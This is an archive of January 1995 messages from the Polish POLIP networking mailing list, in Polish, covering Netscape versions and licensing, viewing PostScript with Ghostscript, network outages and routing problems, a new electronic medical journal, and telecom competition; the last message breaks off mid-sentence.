References: <3ehric$db@ghost.mimuw.edu.pl>, <3ej7bg$13h@bilbo.nask.org.pl>, <3ejilk$sg8@galaxy.uci.agh.edu.pl>
Subject: Re: ippt.gov.pl poza siecia?

piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote:
> tym bardzej,
> ze w ippt jest primary name server domeny gov.pl i w tym momencie klopot z lacznoscia
> nie dotyczy juz samego ippt. 

Wydaje mi sie, ze odcinanie w taki sposob kogokolwiek jest niedopuszczalne,
niezaleznie od tego czy jest on primary name server dla duzej domeny
czy nie.

Sadze, ze NASK powinien stworzyc faktycznie sprawnie dzialajacy NOC,
ktory koordynowalby wszystkie tego typu posuniecia m. in. po to,
zeby w przyszlosci uniknac wpadek tego rodzaju.

--wojtek
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan  6 19:08:39 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15984; Fri, 6 Jan 95 19:06:46 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA18996 for polip@zsku.p.lodz.pl; Fri, 6 Jan 1995 18:57:31 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Fri, 6 Jan 1995 17:51:31 GMT
From: michalj@fuw.edu.pl (Michal Jankowski)
Message-Id: <MICHALJ.95Jan6185131@ccfs1.fuw.edu.pl>
Organization: Warsaw University, Physics Department
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <42DE9B5EE3@elektron.pol.lublin.pl>, <3ejjfh$8ts@galaxy.uci.agh.edu.pl>
Subject: Re: postscript w Mosaic ?

>>>>> "Szymon" == Szymon Sokol <szymon@uci.agh.edu.pl> writes:
Szymon> Uzywaj Netscape for Windows:
Szymon> ftp://ftp.uci.agh.edu.pl/pub/network/infosystems/www/Netscape/ns16-094.exe
Szymon> (wymaga Winsock albo innego transportu TCP/IP, tak samo jak
Szymon> NCSA Mosaic, ale jest znacznie stabilniejszy, szybszy,
Szymon> wygodniejszy).

0.94??? Toz to staroc straszna...

Aktualna wersja to 1.00. 
(np. u mnie ftp://ftp.fuw.edu.pl/WWW/ns16-100.exe)

Aha, i jesli ktos sie przejmuje sprawa oplat i licencji, to:
1. w miesiac po wypuszczeniu przez firme wersji 1.00 starsze wersje
   nalezy skasowac.
2. netscape jest za darmo dla studentow i pracownikow szkol/uczelni
   oraz 'non-profit organizations'. Inni moga go sobie potestowac, a
   jak sie spodoba, to nalezy sie $39.

   Michal

PS. nie uzywam MS...., ale zdaje sie, ze rzeczywiscie w tym srodowisku
netscape jest lepszy - bo wersja X-windowsowa wcale mnie nie zachwyca...
From piotrwi Fri Jan  6 19:38:40 1995
Received:  by zsku.p.lodz.pl (5.65/25-eef)
	id AA16933; Fri, 6 Jan 95 19:35:18 +0100
Return-Path: <piotrwi>
Date: Fri, 6 Jan 1995 19:35:15 +0100 (MEZ)
From: Piotr Wilk <piotrwi@zsku.p.lodz.pl>
To: polip@zsku.p.lodz.pl
Subject: Netscape (Bylo: Postscript w Mosaic)
Message-Id: <Pine.SCO.3.91.950106193358.16904A-100000@zsku.p.lodz.pl>
Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej
Address: 90-924 Lodz; ul. Stefanowskiego 18/22
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Listproc odrzucil wiec forwarduje.

                                   Piotrek

--
--------------------------------------------------------------
|                        Piotr Wilk                          |
|------------------------------------------------------------|
|     Samodzielny Zaklad      |  email:                      |
|     Sieci Komputerowych     |    piotrwi@zsku.p.lodz.pl    |
|    Politechniki Lodzkiej    |    piotrwi at plearn         |
--------------------------------------------------------------


-----------------------------------------------------------------------------
>From piskozub@ocean.iopan.gda.pl Fri Jan  6 19:28:40 1995
Received: from ocean.iopan.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16787; Fri, 6 Jan 95 19:23:42 +0100
Received:  by ocean.iopan.gda.pl (5.65/25-eef)
	id AA08356; Fri, 6 Jan 95 19:21:23 +0100
Return-Path: <piskozub@ocean.iopan.gda.pl>
From: Jacek Piskozub <piskozub@ocean.iopan.gda.pl>
Message-Id: <9501061821.AA08356@ocean.iopan.gda.pl>
Subject: Netscape (Bylo: Postscript w Mosaic)
To: polip@zsku.p.lodz.pl
Date: Fri, 6 Jan 1995 19:21:22 +0100 (Poland)
In-Reply-To: <MICHALJ.95Jan6185131@ccfs1.fuw.edu.pl> from "Michal Jankowski" at Jan 6, 95 07:09:52 pm
X-Mailer: ELM [version 2.4 PL21]
Content-Type: text
Content-Length: 1110      

Mowa o wersjach Netscape:

> 
> 0.94??? Toz to staroc straszna...
> 
> Aktualna wersja to 1.00. 
> (np. u mnie ftp://ftp.fuw.edu.pl/WWW/ns16-100.exe)
> 
> Aha, i jesli ktos sie przejmuje sprawa oplat i licencji, to:
> 1. w miesiac po wypuszczeniu przez firme wersji 1.00 starsze wersje
>    nalezy skasowac.

To chyba dla pokarania uzytkownikow. Wedlug mnie poprzednia wersja byla 
lepsza. Nowa miedzy innymi zdolala zrobic "General Protection Massacre"
po 30 min stosowania. W tym moze smialo konkurowac z Mosaicem for Windows.
Poza tym czemu mam dwie ikony gdy zmniejsze nowy Netscape [do ikony 
oczywiscie]. Nigdy nie wiem, ktora jest ta prawdziwa.

Jednak poprzednia wersja byla naprawde dobra.



 Jacek Piskozub                                 
                                                Lidar Laboratory
                                                Institute of Oceanology
 email: piskozub@iopan.gda.pl                   Polish Academy of Sciences
 tel: (++48 58) 517281 ext.202                  ul. Powstancow Warszawy 55
 fax: (++48 58) 512130                          81-712 Sopot, Poland 


From news.polip@cyber.ict.pwr.wroc.pl Sat Jan  7 09:05:48 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02710; Sat, 7 Jan 95 09:05:36 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id IAA00889 for polip@zsku.p.lodz.pl; Sat, 7 Jan 1995 08:47:29 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 7 Jan 1995 08:26:10 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3elfmi$nal@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <42DE9B5EE3@elektron.pol.lublin.pl>, <3ejjfh$8ts@galaxy.uci.agh.edu.pl>, <MICHALJ.95Jan6185131@ccfs1.fuw.edu.pl>
Subject: Re: postscript w Mosaic ?

Michal Jankowski (michalj@fuw.edu.pl) wrote:
: >>>>> "Szymon" == Szymon Sokol <szymon@uci.agh.edu.pl> writes:
: Szymon> Uzywaj Netscape for Windows:
: Szymon> ftp://ftp.uci.agh.edu.pl/pub/network/infosystems/www/Netscape/ns16-094.exe
: Szymon> (wymaga Winsock albo innego transportu TCP/IP, tak samo jak
: Szymon> NCSA Mosaic, ale jest znacznie stabilniejszy, szybszy,
: Szymon> wygodniejszy).

: 0.94??? Toz to staroc straszna...

Postep jest szybki - ta "staroc" ma jakies 3 tygodnie :-)

: Aktualna wersja to 1.00. 
: (np. u mnie ftp://ftp.fuw.edu.pl/WWW/ns16-100.exe)

OK, ftp://ftp.uci.agh.edu.pl/pub/network/infosystems/www/Netscape/ns16-100.exe

: PS. nie uzywam MS...., ale zdaje sie, ze rzeczywiscie w tym srodowisku
: netscape jest lepszy - bo wersja X-windowsowa wcale mnie nie zachwyca...

Moglbys rozwinac?

--
                        Szymon Sokol -- Network Manager
U     U M     M M     M University of Mining and Metallurgy, Computer Center
U     U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U     U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUUU  M  M  M M  M  M finger szymon@galaxy.uci.agh.edu.pl for PGP key
                        WWW page: http://www.uci.agh.edu.pl/~szymon/
From geniwick@cyfronet.krakow.pl Sat Jan  7 13:05:49 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05319; Sat, 7 Jan 95 13:05:30 +0100
Return-Path: <geniwick@cyfronet.krakow.pl>
Received: from kinga.cyf-kr.edu.pl (kinga.cyf-kr.edu.pl [149.156.4.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id NAA10379 for <polip@zsku.p.lodz.pl>; Sat, 7 Jan 1995 13:07:19 +0100
Received: from [149.156.2.26] (jacek.cyf-kr.edu.pl [149.156.2.26]) by kinga.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id NAA24514 for <polip@zsku.p.lodz.pl>; Sat, 7 Jan 1995 13:02:13 +0100
Message-Id: <199501071202.NAA24514@kinga.cyf-kr.edu.pl>
X-Sender: geniwick@kinga.cyf-kr.edu.pl
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 7 Jan 1995 13:10:48 +0100
To: polip@zsku.p.lodz.pl
From: geniwick@cyfronet.krakow.pl (Jacek Niwicki)
Subject: Nowa gazeta elektroniczna

Na liscie plotki przeczytalem dzisiaj informacje o nowej gazecie
elektronicznej.

Warto wiedziec

>
>PLOTKI: Nowy periodyk elektroniczny
>
>From: GSTANIAK@golem.umcs.lublin.pl (Grzesiek Staniak)
>Date: 7 Jan 95 11:10:41 GMT
>Organization: Lista dyskusyjna PLOTKI
>Newsgroups: pl.listserv.plotki
>    ------------------------------------------------------------------------
>
>
>Czesc wszystkim,
>
>Chcialbym powiadomic wszystkich zainteresowanych o powstaniu pierwszej
>polskojezycznej gazety medycznej. Nazywa sie "Galen", powstala niecaly
>miesiac temu, dostepna jest przez listy dystrybucyjne "galena-l" (ascii),
>"galenl-l" (latin 2, uuencode), oraz "galenm-l" (mazovia, uuencode).
>Subskrypcja publiczna: nalezy wyslac list o tresci "SUB nazwa_listy (imie
>nazwisko)" na adres <listserv@galen.imw.lublin.pl>. Dostepna jest tez
>wersja HTML, URL http://www.lublin.pl/imw/galen.html Numer ISSN 1233-
>7838.
>
>Gazeta jest przeznaczona dla szerokiego kregu lekarzy i ludzi
>zainteresowanych medycyna, teksty specjalistyczne beda zamieszczane
>tylko w wyjatkowych sytuacjach. Tresc stanowia omowienia (nie
>tlumaczenia) interesujacych wiadomosci na tematy medyczne dostepnych
>przez Internet lub medyczne serwisy informacyjne.
>
>Redakcja jest otwarta na wspolprace ze wszystkimi zainteresowanymi.
>Materialy do publikacji prosimy przesylac na adres
><gazeta@galen.imw.lublin.pl> lub <spiewak@galen.imw.lublin.pl> (redaktor
>naczelny). Regulamin publikacji mozna uzyskac wysylajac list o tresci
>"SEND regulamn.txt" na adres <listserv@galen.imw.lublin.pl> lub w wersji
>HTML pod URL http://www.lublin.pl/imw/regulamn.html
>
>W razie klopotow lub przy jakichkolwiek problemach, watpliwosciach i
>pytaniach prosimy o kontakt pod adresem <gazeta@galen.imw.lublin.pl>.
>
>Zapraszamy do wspolpracy i zyczymy (nieskromnie) przyjemnej lektury!
>
>
>...............................
>Grzesiek Staniak
><gstaniak@golem.umcs.lublin.pl>
><gstaniak@galen.imw.lublin.pl>
>

_________________
(jn)	Jacek Niwicki   :-)

	ACK CYFRONET Krakow	ul. Nawojki 11

 geniwick@cyfronet.krakow.pl
 niwi@uci.agh.edu.pl
_________________


From RAJ@inf.wsp.krakow.pl Sat Jan  7 15:35:09 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07042; Sat, 7 Jan 95 15:34:36 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id PAA10825 for <polip@zsku.p.lodz.pl>; Sat, 7 Jan 1995 15:36:28 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Sat, 7 Jan 95 15:32:20 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Sat, 7 Jan 95 15:32:01 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Sat, 7 Jan 1995 15:32:00 GMT+0100
Subject:       Re: Co sie stalo z INF.WSP.KRAKOW.PL?!
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <11D4197F01@inf.wsp.krakow.pl>

> Date sent:      Tue, 3 Jan 95 12:24:21 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           mkaleta@cyf-kr.edu.pl (A.Gorbiel)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Co sie stalo z INF.WSP.KRAKOW.PL?!
> Organization:   Gazeta Wyborcza, Oddzial Katowice

> Witam,
> Czy ktos z POLIPow mmoglby mnie oswiecic? Od tygodnia probuje wyslac mail
> na inf.wsp.krakow.pl, ale listy wracaja po kilku dniach. Rozumiem,
> ze na swiwta ktos mogl wylaczyc tego Novella, ale mamy juz nowy rok!
> 
> Zeby bylo jeszcze gorzej, osoba z ktora usiluje sie skontaktowac ma
> z pozostalych _dzialajacych_ kont (Cyfronet) .forward na ten feralny
> komputer, wobec czego dostalem kolejne ostrzezenia od MAIL DELIVERY S.
> 
Osoba z ktora usilowal sie skontaktowac Andrzej Gorbiel to ja. Niniejszym 
przepraszam jego i wszystkich innych ktorzy mogli probowac w okresie od 21 
grudnia do 6 stycznia bezskutecznie skontaktowac sie z komputerem 
inf.wsp.krakow.pl. 21 grudnia padl nam glowny multi-repeater uczelnianej 
sieci i prawie wszystkie komputery na uczelni stracily lacznosc z Internetem. 
Firma od ktorej ww. sprzet zostal kupiony na nasze interwencje wczoraj tzn. 6 
stycznia dostarczyla nam urzadzenie zastepcze (nasze pojechalo do naprawy do 
producenta do Niemiec) i lacznosc zostala przywrocona.
Zdaje sie, ze bede musial poczytac archiwa paru list...
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From RAJ@inf.wsp.krakow.pl Sat Jan  7 16:00:51 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07767; Sat, 7 Jan 95 15:55:53 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id PAA10913 for <polip@zsku.p.lodz.pl>; Sat, 7 Jan 1995 15:57:45 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Sat, 7 Jan 95 15:53:37 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Sat, 7 Jan 95 15:53:36 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Sat, 7 Jan 1995 15:53:27 GMT+0100
Subject:       Re: postscript w Mosaic ?
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <12303A6C7D@inf.wsp.krakow.pl>

> Date sent:      Fri, 6 Jan 95 14:09:42 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           "Eligiusz Pawlowski, LUBLIN." <ELEKP@elektron.pol.lublin.pl>
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        postscript w Mosaic ?

> Witam w Nowym Roku !
> 
> Wedrujac za pomoca programu Mosaic po zasobach sieci Internet stwierdzilem, 
> ze jest wiele dokumentow dostepnych w plikach postscriptowych. Mosaic bez 
> problemu dokonuje transferu takiego pliku, ale nie mam dalej mozliwosci 
> zrobienia czegokolwiek z tym plikiem.
> Pytania :
> 1.jaki program mozna wskazac w Mosaic jako "ogladacz" plikow postscriptowych?
> 2.jak wydrukowac plik postscriptowy w Windowsach nie majac drukarki 
>   z postscriptem ?
> 3.czy mozna wczytac plik postscriptowy do jakiegos edytora
>   tekstu w windowsach ?  

Ad 1 i 2. Ghostscript/Ghostview. Jest to PD pakiet interpretera Postscriptu 
pod Windows. Jest tez wersja pod DOS-a i oczywiscie pod Unixa, bo stamtad sie 
toto wywodzi. Jest polecany przez NCSA do wspolpracy z Mosaikiem.
Ad 3. Plik postscriptowy jest plikiem ASCII, wiec zapewne mozna go wczytac, 
ale pozytku z tego wielkiego nie bedzie. Takiego edytora, co by rozumial 
Postscript, to nie ma.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From muhlig@usctoux1.cto.us.edu.pl Mon Jan  9 09:21:41 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03118; Mon, 9 Jan 95 09:21:10 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: urm.gov.pl?
To: polip@zsku.p.lodz.pl
Date: Mon, 9 Jan 1995 09:23:42 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 455       
Message-Id:  <9501090923.aa09953@usctoux1.cto.us.edu.pl>

Dlaczego nie ma routingu do urm.gov.pl?

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan  9 11:26:43 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA05085; Mon, 9 Jan 95 11:24:55 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA14782 for polip@zsku.p.lodz.pl; Mon, 9 Jan 1995 11:17:31 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 9 Jan 1995 09:51:46 GMT
From: marcin@pk-siec.oeto.pk.edu.pl (Marcin Klimowski)
Message-Id: <3er0vi$2oj@galaxy.uci.agh.edu.pl>
Organization: Cracow University of Technology
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <42DE9B5EE3@elektron.pol.lublin.pl>, <3ejjfh$8ts@galaxy.uci.agh.edu.pl>, <MICHALJ.95Jan6185131@ccfs1.fuw.edu.pl>
Subject: Re: postscript w Mosaic ?

Michal Jankowski (michalj@fuw.edu.pl) wrote:
: >>>>> "Szymon" == Szymon Sokol <szymon@uci.agh.edu.pl> writes:
: Szymon> Uzywaj Netscape for Windows:

: PS. nie uzywam MS...., ale zdaje sie, ze rzeczywiscie w tym srodowisku
: netscape jest lepszy - bo wersja X-windowsowa wcale mnie nie zachwyca...

a jakie sa znaczace roznice pomiedzy wersja pod X a wersja pod MS ?!??
osobiscie powazniejszych nie zauwazylem.....
--
------------------------------------------------------------------------------
Marcin Klimowski | e-mail - marcin@oeto.pk.edu.pl | IRCNICK - Cinek
WWW home page -  http://www.pk.edu.pl/~marcin - still under construction......
------------------------------------------------------------------------------
		 	YOUR bus ALWAYS ARRIVES LATER :(
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 10 11:26:47 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04956; Tue, 10 Jan 95 11:24:47 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA06313 for polip@zsku.p.lodz.pl; Tue, 10 Jan 1995 11:21:31 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 10 Jan 1995 09:26:50 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3etjsq$evp@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Siec Optimusa?

Witam,

wczoraj GW podala, ze Optimus planuje budowe sieci telekomunikacyjnej dla
okolo 3 mln abonentow obejmujacej conajmniej 1/3 powierzchni kraju. Juz w
tym celu wystapili o stosowna licencje do Ministerstwa Lacznosci oraz
podpisali umowe z partnerem angielskim - jakas spolka consultingowa
specjalizujaca sie wlasnie w problemach telekomunikacji. Calosc ma prowadzic
specjalnie powolany holding Polskie Telmedia.

Jak napisano w owej wzmiance pobudka do tego byla analiza ich jakiegos
zespolu (znaczy - Optimusa) wykazujaca scisly zwiazek miedzy telekomunikacja
a technika komputerowa w najblizszych latach. Mozna wiec podejrzewac, ze
taka siec robiona od zera przez ludzi od komputerow bedzie miala nieco
wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie
wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie
wie cos wiecej na ten temat?

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From RAJ@inf.wsp.krakow.pl Tue Jan 10 12:05:22 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06016; Tue, 10 Jan 95 12:03:47 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id MAA04574 for <polip@zsku.p.lodz.pl>; Tue, 10 Jan 1995 12:06:31 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Tue, 10 Jan 95 12:01:47 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 10 Jan 95 12:01:26 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Tue, 10 Jan 1995 12:01:23 GMT+0100
Subject:       minitel ???
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <519327F0E@inf.wsp.krakow.pl>

Ostatnio zostalem zapytany przez kolege, czy i ew. jak mozna laczyc sie z 
minitelem z Internetu. Ja nie mam na ten temat zielonego pojecia. Czy ktos 
cos wie? Czy jest to w ogole mozliwe?
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 10 17:05:24 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12819; Tue, 10 Jan 95 17:04:37 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA11775 for polip@zsku.p.lodz.pl; Tue, 10 Jan 1995 16:51:06 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 10 Jan 1995 15:33:11 GMT
From: raczkiew@saturn.kt.agh.edu.pl (Marcin Raczkiewicz)
Message-Id: <3eu9bn$1g6@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <519327F0E@inf.wsp.krakow.pl>
Subject: Re: minitel ???

Jaroslaw Rafa (RAJ@inf.wsp.krakow.pl) wrote:
: Ostatnio zostalem zapytany przez kolege, czy i ew. jak mozna laczyc sie z 
: minitelem z Internetu. Ja nie mam na ten temat zielonego pojecia. Czy ktos 
: cos wie? Czy jest to w ogole mozliwe?
: Pozdrowienia,

Nie sadze zeby to bylo mozliwe, przynajmniej jesli chodzi o wiekszosc
aplikacji. Nie zapominaj ze minitel to usluga komercyjna i w takim ukladzie
kto mialby za to placic? A oplaty sa niemale: nawet do 10 FRF za minute
(podaje we frankach, bo akurat w tym kraju Minitel rozwinal sie najbardziej).

Pozdrowienia

Marcin Raczkiewicz
Katedra Telekomunikacji
Akademii Gorniczo-Hutniczej w Krakowie

From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 10 17:05:36 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12828; Tue, 10 Jan 95 17:04:44 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA11776 for polip@zsku.p.lodz.pl; Tue, 10 Jan 1995 16:51:06 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 10 Jan 1995 15:39:58 GMT
From: raczkiew@saturn.kt.agh.edu.pl (Marcin Raczkiewicz)
Message-Id: <3eu9oe$1g6@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3etjsq$evp@ghost.mimuw.edu.pl>
Subject: Re: Siec Optimusa?

Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:

: wieksze mozliwosci niz normalna siec telefoniczna. Czyzby wiec pojawila sie
: wreszcie jakas szansa realnej konkurencji dla TP S.A.? Czy ktos na liscie
: wie cos wiecej na ten temat?

Konkurencja dla TPSA zaczyna sie robic. Akurat nic nie wiem na temat sieci
optimusa, ale wystarczy przejrzec gazety zeby zobaczyc, ze idzie finansowanie
dla firm prywatnych telekomunikacyjnych w Polsce. Ze te firmy sie dopiero
tworza to w pelni zrozumiale: trzeba na to troche czasu. Sadze ze w tym roku
(pod koniec) patrzac realnie mamy szanse, ze powstanie kilka firm mogacych
konkurowac LOKALNIE z TPSA.

Pozdrawiam

Marcin Raczkiewicz
Katedra Telekomunikacji
Akademii Gorniczo-Hutniczej w Krakowie

From bogusz@zow.desy.de Tue Jan 10 17:26:50 1995
Received: from [131.169.42.63] by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13704; Tue, 10 Jan 95 17:25:21 +0100
Return-Path: <bogusz@zow.desy.de>
Received: from zow13.desy.de (zow13 [131.169.42.73]) by zow00.desy.de (8.6.9/8.6.9) with ESMTP id RAA17332 for <polip@zsku.p.lodz.pl>; Tue, 10 Jan 1995 17:24:03 +0100
Received: (bogusz@localhost) by zow13.desy.de (8.6.9/8.6.9) id RAA13013; Tue, 10 Jan 1995 17:24:01 +0100
Date: Tue, 20 Dec 1994 23:13:17 -36000
From: Gene Jeffries <gene@camgrad.fay.ar.us>
Subject: Internet persons in Elblag
To: bogusz@fuw.edu.pl
Message-Id: <Pine.3.89.9412202321.A69-0100000@camgrad.fay.ar.us>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Date: Tue, 10 Jan 1995 17:23:54 +0100 (MET)
Resent-From: Wojtek Bogusz <bogusz@zow.desy.de>
Resent-To: Pol-IP <polip@zsku.p.lodz.pl>
Resent-Message-Id: <Pine.ULT.3.91.950110172354.903H@zow13>


Wojtek,

	I found your name and address while cyber-surfing on the 
Internet.  I trust you will not mind my writing you with regard to a 
matter not related to your university work.

	I will be visiting Poland later this month in the City of 
Elblag, and I am writing to ask if you know of any Internet persons in that
city where I could email back to the United States.  I found some in 
Gdansk, but that is still some distance from Elblag.

	Thank you for assisting me in this matter.

		Gene L. Jeffries
 

From bogusz@zow.desy.de Tue Jan 10 17:35:22 1995
Received: from [131.169.42.63] by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14127; Tue, 10 Jan 95 17:32:57 +0100
Return-Path: <bogusz@zow.desy.de>
Received: from zow13.desy.de (zow13 [131.169.42.73]) by zow00.desy.de (8.6.9/8.6.9) with ESMTP id RAA17435 for <polip@zsku.p.lodz.pl>; Tue, 10 Jan 1995 17:31:28 +0100
Received: (bogusz@localhost) by zow13.desy.de (8.6.9/8.6.9) id RAA13026; Tue, 10 Jan 1995 17:31:24 +0100
Date: Tue, 10 Jan 1995 17:31:21 +0100 (MET)
From: Wojtek Bogusz <bogusz@zow.desy.de>
X-Sender: bogusz@zow13
To: Pol-IP <polip@zsku.p.lodz.pl>
Subject: Internet persons in Elblag (fwd)
Message-Id: <Pine.ULT.3.91.950110172430.903I-100000@zow13>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Czesc,

 Ja osobiscie nie znam nikogo (patrz nizej) moze ktos chce odpowiedziec ? 

 Ciekaw jestem czy wy tez dostajecie duzo takiej poczty i co z nia zazwyczaj
robicie :-) Ja srednio dostaje list dziennie a to od marynaza ze stanow
szukajacego "Makty" poznanej w Egipcie gdzie jego statek podwodny zakotwiczyl
